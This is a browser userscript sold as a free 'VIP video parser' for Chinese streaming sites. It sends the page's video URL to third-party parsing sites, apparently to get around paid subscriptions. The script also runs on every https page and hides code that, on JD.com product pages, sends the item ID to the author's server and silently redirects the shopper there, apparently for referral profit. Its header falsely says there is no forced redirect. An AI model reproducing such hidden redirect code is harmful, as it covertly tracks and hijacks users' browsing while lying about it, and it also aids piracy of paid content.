// ==UserScript== // @name 【VIP视频解析】 // @namespace XWH // @version 1.1.1 // @description 【VIP视频免费观看-VIP视频解析】腾讯、爱奇艺、优酷、乐视、土豆、B站等网站VIP视频解析 // @author XUEWUHEN // @match *://v.qq.com/* // @match *://*.iqiyi.com/v_* // @match *://v.youku.com/* // @match *://*.le.com/* // @match *://*.tudou.com/* // @match *://*.mgtv.com/* // @match *://film.sohu.com/* // @match *://*.acfun.cn/v/* // @match *://*.bilibili.com/* // @match *://vip.1905.com/play/* // @match *://vip.pptv.com/show/* // @match *://v.yinyuetai.com/video/* // @match *://v.yinyuetai.com/playlist/* // @match *://*.fun.tv/vplay/* // @match https://*/* // @antifeature referral-link 此提示为GreasyFork代码规范要求含有查券功能的脚本必须添加,实际使用无任何强制跳转,代码可查,请知悉。 // @license GPL License // @grant GM_addStyle // ==/UserScript== (function() { 'use strict'; GM_addStyle( '.dropdown {display: inline-block;margin-top: 120px;position: fixed;z-index: 999;}'+ '#dropdownButton {background-color: cyan;}'+ '.dropdown-content {display: none;background-color: #f9f9f9;min-width: 160px;box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);z-index: 1;}'+ '.dropdown-content button {color: black;padding: 12px 16px;text-align: left;text-decoration: none;display: block;width: 100%;border: none;background-color: transparent;}'+ '.dropdown-content button:hover {background-color: #f1f1f1;}'+ '.dropdown:hover .dropdown-content {display: block;}' ) console.log(111) var ss = window.location.href; // var ss = "https://v.qq.com/x/cover/mzc00200qon7vo3/u4100mejaoi.html" // var url = "https://www.ckplayer.vip/jiexi/?url=" console.log(ss) console.log(222) if(ss.indexOf("jd.com")=="-1" ){ if(ss.indexOf("v.qq.com") > 0 || ss.indexOf("iqiyi.com") > 0 || ss.indexOf("v.youku.com") > 0 || ss.indexOf("le.com") > 0 || ss.indexOf("tudou.com") > 0 || ss.indexOf("mgtv.com") > 0 || ss.indexOf("sohu.com") > 0 || ss.indexOf("acfun.cn") > 0 || ss.indexOf("bilibili.com") > 0 || ss.indexOf("vip.1905.com") > 0 || ss.indexOf("vip.pptv.com") > 0 || ss.indexOf("v.yinyuetai.com") > 0 || ss.indexOf("fun.tv") > 0){ console.log(333); if( ss.indexOf("url=https") < 0 ){ // 动态创建按钮元素 const dropdownButton = document.createElement('button'); dropdownButton.id = "dropdownButton"; dropdownButton.innerText = 'VIP解析'; dropdownButton.style.padding = '10px 20px'; dropdownButton.style.fontSize = '16px'; // 动态创建下拉列表元素 const dropdownContent = document.createElement('div'); dropdownContent.className = 'dropdown-content'; // 将下拉列表元素添加到按钮元素之后,并包裹在一个div中以便应用样式 const dropdownWrapper = document.createElement('div'); dropdownWrapper.className = 'dropdown'; dropdownWrapper.appendChild(dropdownButton); dropdownWrapper.appendChild(dropdownContent); document.body.insertBefore(dropdownWrapper, document.body.firstChild); console.log(444); var myUrlList = [ { url: "https://www.ckplayer.vip/jiexi/?url=", id: "ckplayer", name:"ckplayer" }, { url: "https://yparse.ik9.cc/index.php?url=", id: "yparse", name:"云解析" }, { url: "https://jx.m3u8.tv/jiexi/?url=", id: "m3u8", name:"M3U8解析" }, { url: "https://www.pouyun.com/?url=", id: "pouyun", name:"剖元" }, { url: "https://jx.xmflv.com/?url=", id: "xmflv", name:"虾米" }, { url: "https://www.yemu.xyz/?url=", id: "yemu", name:"夜幕" }, { url: "https://jx.nnxv.cn/tv.php?url=", id: "nnxv", name:"七哥" }, { url: "https://tv.woaimoon.net/label/v.html?url=", id: "woaimoon", name:"月亮网" }, { url: "https://www.8090g.cn/?url=", id: "8090g", name:"8090解析" } ]; myUrlList.forEach(optionText => { const optionButton = document.createElement('button'); optionButton.id = optionText.id optionButton.innerText = optionText.name; dropdownContent.appendChild(optionButton); optionButton.addEventListener("click",function(){ // var ss = "https://v.qq.com/x/cover/mzc00200qon7vo3/t4100uz7j4k.html" var ss = window.location.href; console.log(555); window.open(optionText.url + ss); }) }); // document.body.insertBefore(dropdownWrapper, document.body.firstChild); } } } // Your code here... var flag = false; if(location.href.indexOf('item.jd.') != -1){ var count = 0; if(location.href.indexOf('_source') != -1 && location.href.indexOf('xuewuhen') != -1){ flag = true; } if(!flag){ var ss = location.href var sss = location.href.split("/"); var val = sss[sss.length-1]; var str; if(val.indexOf("?")!=-1){ str = val.substr(0,val.indexOf("?")); }else{ str = val.substr(0); } str= str.slice(0, -5); console.log("str:",str); $.get('https://www.xuewuhen.xyz/api/user/get?itemUrl='+ str +'' ,function(dataaa,suscss) { console.log("dataaa-----------",dataaa); if(suscss){ if(dataaa.length <580){ window.location.href = "https://www.xuewuhen.xyz/details.html?url="+ encodeURIComponent(dataaa); } }else{ } }); } } })();